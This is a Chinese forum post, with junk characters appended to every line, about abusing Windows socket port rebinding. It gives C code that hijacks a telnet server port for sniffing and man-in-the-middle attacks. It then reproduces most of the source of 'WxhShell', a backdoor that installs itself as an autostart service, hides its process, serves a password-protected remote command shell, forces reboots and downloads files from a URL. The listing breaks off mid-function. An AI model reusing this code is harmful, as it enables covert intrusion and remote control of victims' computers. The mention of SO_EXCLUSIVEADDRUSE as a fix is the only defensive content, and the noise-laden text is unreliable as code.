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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uJ$,e5q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =`U[{3A_  
 lzuZv$K  
  saddr.sin_family = AF_INET; I"1\R8 R  
S}/CzQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N_0O"" d  
')+EW" e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BR=Yte /  
^9nM)[/C?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pK`rm"6G  
[~3p+  
  这意味着什么?意味着可以进行如下的攻击: 83a Rq&(R  
:FSkXe2yy0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h:;~)={"X  
\Mi< ROp5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @'<|B. f  
c2nZd.SD|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @&+ 1b=  
w~9gZ&hdp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [Dhc9  
) l)5^7=W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ec=C7M |  
'54@-}D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aE"t['  
Xw%z#6l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yZ{YIy~  
+Il=gL1  
  #include b6lL8KOu  
  #include ZBGI_9wZ  
  #include ~-6;h.x=  
  #include    e:l 6;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %>.v[d1c  
  int main() ax<0grK  
  { Cur) |  
  WORD wVersionRequested; C{) )T5G  
  DWORD ret; QNo}nl /N  
  WSADATA wsaData; =[WccF  
  BOOL val; Hq9(6w9w  
  SOCKADDR_IN saddr; ;i]cmy  
  SOCKADDR_IN scaddr; Rz)#VVYC=  
  int err; !CWqI)=  
  SOCKET s; im' 0^  
  SOCKET sc; ,wV2ZEW}e  
  int caddsize; ^Ni)gm{?k  
  HANDLE mt; >3bpa<M_  
  DWORD tid;   ZoUfQ!2*  
  wVersionRequested = MAKEWORD( 2, 2 ); 5&>(|Y~I  
  err = WSAStartup( wVersionRequested, &wsaData ); itP_Vxo/H  
  if ( err != 0 ) { +]6 EkZO  
  printf("error!WSAStartup failed!\n"); Xy{b(b;9  
  return -1; '>6-ie^0  
  } =4I361oMf  
  saddr.sin_family = AF_INET; b{oNV-<&{  
   Y /+ D4^ L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p.%$  
D>mLSh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;f><;X~KX  
  saddr.sin_port = htons(23); *0U(nCT&m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U +]ab  
  { 2/~v  
  printf("error!socket failed!\n"); i ]_fhC  
  return -1; {T IGPK  
  } i~2>kxf;K1  
  val = TRUE; Li'T{0)1)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f 6q@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \u*,~J)z  
  { x6,RW],FGR  
  printf("error!setsockopt failed!\n"); V7^?jck  
  return -1; cO8;2u,Gvi  
  } _CZ*z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t5_`q(:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;(afz?T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'W#<8eJo  
l]ZUKy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z(.Tl M2h  
  { d/^^8XUK  
  ret=GetLastError(); v!x[1[  
  printf("error!bind failed!\n"); -or9!:8  
  return -1; R%Z} J R.  
  } wOsr#t7  
  listen(s,2); Ne[O9D 7  
  while(1) Q.fBuF  
  { " JRlj  
  caddsize = sizeof(scaddr); 7HF\)cz2  
  //接受连接请求 ?{[H+hzz0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6R<%. -qr  
  if(sc!=INVALID_SOCKET) QZ`<+"a0  
  { 81g&WQ'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V *] !N  
  if(mt==NULL) Vlf@T  
  { ~}5(J,1!  
  printf("Thread Creat Failed!\n"); qN)cB?+  
  break; 'FVT"M~  
  } NubD2  
  } MVCCh+,GI  
  CloseHandle(mt); O+yR+aXr'8  
  } yTEuf@  
  closesocket(s); .{} t[U  
  WSACleanup(); -(2-zznZ  
  return 0; u-W=~EO5#  
  }   Ns $PS\  
  DWORD WINAPI ClientThread(LPVOID lpParam) h~1QmEat  
  { 9W8Dp?:  
  SOCKET ss = (SOCKET)lpParam; &><`?  
  SOCKET sc; fx|9*|E  
  unsigned char buf[4096]; ^?A+`1-  
  SOCKADDR_IN saddr; #Z.JOwi  
  long num; RS1oPY  
  DWORD val; =f["M=)ZJ  
  DWORD ret; J0oR]eT}  
  //如果是隐藏端口应用的话,可以在此处加一些判断  ^ "f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f]lDJ?+ M  
  saddr.sin_family = AF_INET; zPXd]jIwV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :JS} (  
  saddr.sin_port = htons(23); =_86{wlk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xnh1pwDhe<  
  { w5;EnI  
  printf("error!socket failed!\n"); Z`%;bP:  
  return -1; e`oc#Od&x]  
  } KV6S-  
  val = 100; `7j,njCX.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LiRY -;8=  
  { 5Q88OxH  
  ret = GetLastError(); M(BZ<,9V  
  return -1; $@x kKe"  
  } X*~YCF[_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s6egd%r  
  { HI?>]zz|  
  ret = GetLastError(); 3k/Mig T  
  return -1; }8SHw|-  
  } o]Ki+ U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V OX>Sl  
  { zM'-2,  
  printf("error!socket connect failed!\n"); Nh))U  
  closesocket(sc); BO_^3Me*  
  closesocket(ss); rQqtejcfx  
  return -1; NplSkv  
  } !9 F+uc5  
  while(1) U}7[8&k1  
  { pGFocw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t0q@] 0B5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xx^c?6YM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jDnh/k0{d  
  num = recv(ss,buf,4096,0); E=E<l?ob  
  if(num>0) AM[:Og S  
  send(sc,buf,num,0); Ef!F;De)A  
  else if(num==0) Yem\`; *  
  break; v\Hyu1;8  
  num = recv(sc,buf,4096,0); j{=%~  
  if(num>0) *}J_STM  
  send(ss,buf,num,0); w&{J9'~  
  else if(num==0) yV. P.Q  
  break; . ~<+  
  } |?> h$'  
  closesocket(ss); tu'MYY  
  closesocket(sc); l.BNe)1!22  
  return 0 ; D H^^$)  
  } 8vo} .JIl  
erqB/C  
m ";gD[m  
========================================================== !S:@x.n@iR  
RBXoU'.  
下边附上一个代码,,WXhSHELL !=we7vK}  
-%.V0=G(Z  
========================================================== 0TpA3K  
8`2K=`]ES+  
#include "stdafx.h" F\I^d]#,[  
CmTJa5:  
#include <stdio.h> =N c`hP  
#include <string.h> epF>z   
#include <windows.h> d1-p];&  
#include <winsock2.h> Ba6xkEd  
#include <winsvc.h> UU/|s>F  
#include <urlmon.h> 2?j1~]DvZ  
,3j7Y5v  
#pragma comment (lib, "Ws2_32.lib") zvD5i,I  
#pragma comment (lib, "urlmon.lib") f/y K|[g~  
>UMnItq(l  
#define MAX_USER   100 // 最大客户端连接数 )sHPIxHI  
#define BUF_SOCK   200 // sock buffer =m:W  
#define KEY_BUFF   255 // 输入 buffer %vXQ Sz  
K="+2]{I  
#define REBOOT     0   // 重启 O^#u%/  
#define SHUTDOWN   1   // 关机 m 5Kx}H~  
Mx"tUoU6z  
#define DEF_PORT   5000 // 监听端口 #"_MY-  
i1 &'Zh  
#define REG_LEN     16   // 注册表键长度 .p`'^$X^  
#define SVC_LEN     80   // NT服务名长度 r . ^&%D  
A3_9MO   
// 从dll定义API e?>suIB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qZh~Ay6I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fm0 (  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xhi?b|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ks D1NB;9  
9YABr> ?  
// wxhshell配置信息 $b} +5  
struct WSCFG { wNZ7(W.U  
  int ws_port;         // 监听端口 z3]U% y(,  
  char ws_passstr[REG_LEN]; // 口令 &/9oi_r%r  
  int ws_autoins;       // 安装标记, 1=yes 0=no K dm5O@tq  
  char ws_regname[REG_LEN]; // 注册表键名 &u-Bu;G.e  
  char ws_svcname[REG_LEN]; // 服务名 k 9rnT)YU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #EUgb7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {9 O`/|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +bW|Q>u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qS al~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )v~]lk,o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b`zf&Mn  
@g~sgE}#  
}; aehMLl9cl  
`'WLGQG  
// default Wxhshell configuration #9OP.4  
struct WSCFG wscfg={DEF_PORT, sjm79/  
    "xuhuanlingzhe",  t;Om9  
    1, Z > =Y  
    "Wxhshell", kqw? X{  
    "Wxhshell", _+iz?|U  
            "WxhShell Service", K8Zk{on  
    "Wrsky Windows CmdShell Service", VKz<7K\/  
    "Please Input Your Password: ", hm>*eJNp]  
  1, Oy$BR <\  
  "http://www.wrsky.com/wxhshell.exe", avu,o   
  "Wxhshell.exe" ;!?K.,N:N  
    }; @U@yIv  
;4$C$r!t  
// 消息定义模块 0h4}RmS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^<0NIu}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QaR.8/xV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NCt sx /C  
char *msg_ws_ext="\n\rExit."; R"`{E,yj  
char *msg_ws_end="\n\rQuit."; B}+9U  
char *msg_ws_boot="\n\rReboot..."; x35s6  
char *msg_ws_poff="\n\rShutdown..."; [t{ #@X  
char *msg_ws_down="\n\rSave to "; :n9~H+!  
*J5RueUG  
char *msg_ws_err="\n\rErr!"; W+e*(W|d6  
char *msg_ws_ok="\n\rOK!"; +z0}{,HX  
\/'n[3x  
char ExeFile[MAX_PATH]; 9t.yP;j\Y  
int nUser = 0; Ml?)Sc"\7  
HANDLE handles[MAX_USER]; MmH_gR  
int OsIsNt; ok%!o+nk.  
cE5Zxcn  
SERVICE_STATUS       serviceStatus; i03}f%JnuO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o~_>p/7;  
+WN>9V0H  
// 函数声明 2%C5P0;QX  
int Install(void); '8kjTf#g<l  
int Uninstall(void); 8:?Q(M7  
int DownloadFile(char *sURL, SOCKET wsh); 3H#/u! W  
int Boot(int flag); =GKYroNM  
void HideProc(void); XqS*;Zj0  
int GetOsVer(void); F%Umau*1  
int Wxhshell(SOCKET wsl); V,"iMo  
void TalkWithClient(void *cs); 0gD59N'C  
int CmdShell(SOCKET sock); {-N90Oe  
int StartFromService(void); 'ag6B(0Z  
int StartWxhshell(LPSTR lpCmdLine); m4U+,|Fa  
w+q;dc8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W$Q)aA7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "Xk%3\{P  
_7.GzQJ  
// 数据结构和表定义 6+nMH +[  
SERVICE_TABLE_ENTRY DispatchTable[] = p$1Rgm\  
{ UoMWn"ZE  
{wscfg.ws_svcname, NTServiceMain}, p/WH#4Xdr  
{NULL, NULL} -C-OG}XjI  
}; wQ=yY$VP  
MRg\FR 2>1  
// 自我安装 gLSG:7m@  
int Install(void) ?I2k6%a  
{ fZV8 o$V  
  char svExeFile[MAX_PATH]; *- IlF]  
  HKEY key; +.(}u ,:8  
  strcpy(svExeFile,ExeFile); !P60[*>  
J={OOj  
// 如果是win9x系统,修改注册表设为自启动 t>6x)2,TC  
if(!OsIsNt) { yg-FJ/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MpIw^a3(r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pm#x?1rAj  
  RegCloseKey(key); (o6[4( G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AJ?}Hel[0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }y-;>i#m=g  
  RegCloseKey(key); ^0x.'G?  
  return 0; bg1"v a#2  
    } Ld}(*-1i  
  } Fi?Q 4b  
} NM1cyZ  
else { C*EhexK,}  
2 ]DCF  
// 如果是NT以上系统,安装为系统服务 7Z`Mt9:Ht  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N[bR&# p  
if (schSCManager!=0) eC^0I78x  
{ v(Bp1~PPZM  
  SC_HANDLE schService = CreateService %eJ\d?nw  
  ( Ck3QrfM  
  schSCManager, <=m 30{;f  
  wscfg.ws_svcname, jV4hxuc$  
  wscfg.ws_svcdisp, 8yE%X!E  
  SERVICE_ALL_ACCESS, BA1MGh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~~xyFT+{F  
  SERVICE_AUTO_START, *dG}R#9Nv  
  SERVICE_ERROR_NORMAL, UVT >7  
  svExeFile, ;zZ,3pl-E  
  NULL, ! v-w6WG"  
  NULL, 4V228>9w  
  NULL, $^vp'^uW>  
  NULL, Z:UgozdC  
  NULL "M9TB. O  
  ); h9<mThvgn  
  if (schService!=0) g,n-s+  
  { `jb0 +{08  
  CloseServiceHandle(schService); %z-dM` i  
  CloseServiceHandle(schSCManager); FE8+E\ U?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d7W%zg\T  
  strcat(svExeFile,wscfg.ws_svcname); ;OQ'B=uK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pn'`Q S?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OH$ F >wO  
  RegCloseKey(key); &\[Qm{lN  
  return 0; ~@[(N]=q  
    } 'GV&]   
  } < 72s7*Rv  
  CloseServiceHandle(schSCManager); DC$7B`#D  
} (j8GiJ]{L,  
} BGB,Gb  
ur/Oc24i1n  
return 1; `"xk,fVYd  
} dr| | !{\  
; @ 7  
// 自我卸载 8l U;y)Z  
int Uninstall(void) +Fk4{p  
{ 9"WRIHt'c  
  HKEY key; ,pDp>-vI%  
9M1a*frxZ  
if(!OsIsNt) { * T JBPM,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ltNuLZ  
  RegDeleteValue(key,wscfg.ws_regname); 2-8YSHlh  
  RegCloseKey(key); W.yV/fu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /lf\ E=  
  RegDeleteValue(key,wscfg.ws_regname); t *o7,  
  RegCloseKey(key); r> Fec  
  return 0; o{9?:*?7  
  } Z -pyFK\  
} jmRhAJV  
} kj x>  
else { c*.G]nRc  
D",A$(lG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xM%H~(  
if (schSCManager!=0) fkW3~b  
{ *GCA6X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |2qR^Hd&5  
  if (schService!=0) @ L\-ZWq  
  { 5XzrS-I+X@  
  if(DeleteService(schService)!=0) {  C}Rs[  
  CloseServiceHandle(schService); z8g=;><  
  CloseServiceHandle(schSCManager); btUq  
  return 0; jVX._bEGX  
  } s0gJ f[  
  CloseServiceHandle(schService); w|&,I4["  
  } :0B |<~lX  
  CloseServiceHandle(schSCManager); J=@hk@Nq#  
} 1T!cc%ah  
} '!pAnsXfO  
vkd *ER^  
return 1; 6e,Apj 0  
} ; Zh9^0  
buRhQ"  
// 从指定url下载文件 n49;Z,[~  
int DownloadFile(char *sURL, SOCKET wsh) ~@xT]D!BQ  
{ S2Zx &D/_  
  HRESULT hr; !)NYW4"  
char seps[]= "/"; Dz,uS nnm  
char *token; vZ:G8K)o(  
char *file; w-J"zC  
char myURL[MAX_PATH]; <H<!ht%q3  
char myFILE[MAX_PATH]; \.5F](:  
.H ,pO#{;  
strcpy(myURL,sURL); Dp^"J85}   
  token=strtok(myURL,seps); E yd$fcRK  
  while(token!=NULL) T0g0jr{  
  { 1JIG+ZNmd  
    file=token; VxNXd?  
  token=strtok(NULL,seps); uH $oGY  
  } !syU]Yk  
a/#+92C  
GetCurrentDirectory(MAX_PATH,myFILE); ]n~yp5Nbr  
strcat(myFILE, "\\"); 7kdeYr~<1  
strcat(myFILE, file); hl`u"?rg  
  send(wsh,myFILE,strlen(myFILE),0); w(/7Jt$  
send(wsh,"...",3,0); sD{ j@WEZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bdCykG-  
  if(hr==S_OK) x,w8r+~5  
return 0; yXkt:O,i  
else _0w1 kqW  
return 1; j]AekI4I  
? 'Cb-C_  
} hMv2"V-X  
Ocybc%  
// 系统电源模块 '[%jjUU  
int Boot(int flag) 1bd$XnU  
{ dQ,Q+ON>  
  HANDLE hToken; CdZnD#F2  
  TOKEN_PRIVILEGES tkp; i)=m7i  
X|,["Az 8  
  if(OsIsNt) { Pv~:gP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )5U !>,fT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L"4]Tm>zq  
    tkp.PrivilegeCount = 1; \Ps5H5Qk;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &i)helXs]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -=5EbNPwG  
if(flag==REBOOT) { TM)u?t+[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X2LV&oi  
  return 0; su}&".e^  
} Z A[)  
else { 00"CC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?5`{7daot  
  return 0; V- /YNRV  
} AH|Y<\  
  } '|_/lz$h  
  else { MBlBMUJk  
if(flag==REBOOT) { 5lGQ#r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7"#f!.E  
  return 0; d)\2U{  
} |88CBiu}  
else { uj)yk*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ubi~%  
  return 0; 5 5^tfu   
} W8y$ Ve8m  
} GtC7^ Z&E  
r5[4h'f  
return 1; 6s5yyy=L%~  
} +^Fp&K+^  
X PA 0m  
// win9x进程隐藏模块 cu)U7  
void HideProc(void) -A}zJBcR  
{ Vu%n&uF  
Y KY2Cw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rmsQt  
  if ( hKernel != NULL ) 1& |  
  { =PZWS& (L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pcnl0o~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oXdel Ju?  
    FreeLibrary(hKernel); =MxpH+spI  
  } j|mv+O  
Z&-tMai;  
return; v$;@0t:;#  
} Je 31".  
Od-Ax+Hp  
// 获取操作系统版本 W tVf wC_  
int GetOsVer(void) fgmSgG"b  
{ M1EOnq4-  
  OSVERSIONINFO winfo; #~S>K3(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q,~x#  
  GetVersionEx(&winfo); >nK%^T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TtZ}"MPZ  
  return 1; T{tn.sT  
  else 7*/J4MN  
  return 0; |g!`\@O  
} s%O Y<B@V2  
4v Lw?_".  
// 客户端句柄模块 /kRAt^4!  
int Wxhshell(SOCKET wsl) ^&NN]?  
{ e8-ehs>  
  SOCKET wsh; t3a#%'Dv  
  struct sockaddr_in client; e^8BV;+c  
  DWORD myID; *7Xzht&f  
z0 \N{rP&  
  while(nUser<MAX_USER) Gc'M[9Mh  
{ lH6fvz  
  int nSize=sizeof(client); o<rsAe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nE$ f  
  if(wsh==INVALID_SOCKET) return 1; j;+["mi  
?!y"OrHg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j`9Qzi1  
if(handles[nUser]==0) 7h`^N5H.q  
  closesocket(wsh); '60//"9>k/  
else nA+F  
  nUser++; F,&)X>:l  
  } eF5;[v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^BiP LQ  
GyK(Vb"h6  
  return 0; q/x/N5HU  
} 8#l+{`$z  
/?P!.!W&  
// 关闭 socket @vt$MiOi  
void CloseIt(SOCKET wsh) ~j"3}wXc5  
{ 'fn$'CeM(  
closesocket(wsh); WqQU@sA  
nUser--; $UC{"0  
ExitThread(0); X3yS5wh d(  
} ke]Yfwk  
G?ig1PB"#  
// 客户端请求句柄 {m[Wyb(  
void TalkWithClient(void *cs) >vAN(3Idu  
{ 0X>T+A[E  
uY]0dyI  
  SOCKET wsh=(SOCKET)cs; ? |VysJ  
  char pwd[SVC_LEN]; TF2KZL#A|  
  char cmd[KEY_BUFF]; ve fU'  
char chr[1]; n"Z |e tZ4  
int i,j; Y{+3}drJE  
*)D1!R<\,R  
  while (nUser < MAX_USER) { :j,}{)5=  
$DE&J4K  
if(wscfg.ws_passstr) { Y[um|M315  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `{o$F ::(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RG}}Oh="v  
  //ZeroMemory(pwd,KEY_BUFF); ,H{={aln  
      i=0; d}+W"j;  
  while(i<SVC_LEN) { MUwxgAG`G  
J|5Ay1eF-  
  // 设置超时 dB7ZT0L\  
  fd_set FdRead; Z0\Iyc G  
  struct timeval TimeOut; t^U^Tr  
  FD_ZERO(&FdRead); SiTeB)/  
  FD_SET(wsh,&FdRead); M1{(OY(G  
  TimeOut.tv_sec=8; QC7k~I8  
  TimeOut.tv_usec=0; CA*~2|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 328L)BmW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V|: qow:F  
Z&Pu8zG /m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lDN?|YG  
  pwd=chr[0]; q3+8]-9|5  
  if(chr[0]==0xd || chr[0]==0xa) { D/:3R ZF  
  pwd=0; no&-YktP}  
  break; YtYy zX5u7  
  } th 2<o5  
  i++; b-%l-u  
    } f^e&hyC   
8,*3zVk-  
  // 如果是非法用户,关闭 socket GTAf   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fRNP#pi0u  
} o;J;k_[MX  
y-a|Lu*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E1(1E?}!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^P$7A]!  
V3uXan_  
while(1) { B^q<2S;  
Z@M6!;y#  
  ZeroMemory(cmd,KEY_BUFF); \fi}Q\|C  
Nfb`YU=  
      // 自动支持客户端 telnet标准   X-/Ban  
  j=0; bVK$.*,  
  while(j<KEY_BUFF) {  }_%P6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ir&.Z5=  
  cmd[j]=chr[0]; "DpKrVuG  
  if(chr[0]==0xa || chr[0]==0xd) { I$j|Rq  
  cmd[j]=0; J-XTN"O  
  break;  zy>}L #  
  } .8H}Lf\  
  j++; (0C&z/  
    } AC4 l<:Yh  
vYnftJK&  
  // 下载文件 V^rW?Do  
  if(strstr(cmd,"http://")) { 8zmv 5trt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (U9a@ 1  
  if(DownloadFile(cmd,wsh)) s|2}2<+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PGX+p+wB  
  else 0>@[o8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M-Sv1ZLh  
  } :Q- F9o J  
  else { XU9'Rfp  
&t3Jv{  
    switch(cmd[0]) { w2zp#;d  
  ] .5O X84  
  // 帮助 %?=)!;[  
  case '?': { hQ';{5IKvC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $E.XOpl&I  
    break;  SFpQ#  
  } ~:Mm<*lL%  
  // 安装 }N,>A-P  
  case 'i': { e{!vNJ0`  
    if(Install()) VMHC/jlX@r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Zi4d]  
    else =DMbz`t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 28oJFi]  
    break; MZ~.(&  
    } Pfan7fq+  
  // 卸载 TB#N k5  
  case 'r': { fA^SD"xf  
    if(Uninstall()) )`Ed_F}k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p+<}Y DMb  
    else K\^&+7&zVg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t.U{Bu P  
    break; Pz`hX$  
    } .$wLLE^*  
  // 显示 wxhshell 所在路径 hk;bk?:m  
  case 'p': { *h:kmT  
    char svExeFile[MAX_PATH]; zYr z08PJ  
    strcpy(svExeFile,"\n\r"); D9o*8h2$  
      strcat(svExeFile,ExeFile); qjLo&2)  
        send(wsh,svExeFile,strlen(svExeFile),0); aQ|hi F}  
    break; 8*Zvr&B,G  
    } 4bI*jEc\[  
  // 重启 ~6d5zI4\  
  case 'b': { F$yeF^\g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Vp\$;\nT  
    if(Boot(REBOOT)) @T7PZB&xnl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , N 344y  
    else { J"&y |; G  
    closesocket(wsh); oEIqA  
    ExitThread(0); zs8I  
    } v<&v]!nF  
    break; sykFSPy`'  
    } e /94y6*>  
  // 关机 [z+x"9l0!  
  case 'd': { >EIrw$V$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x'i0KF   
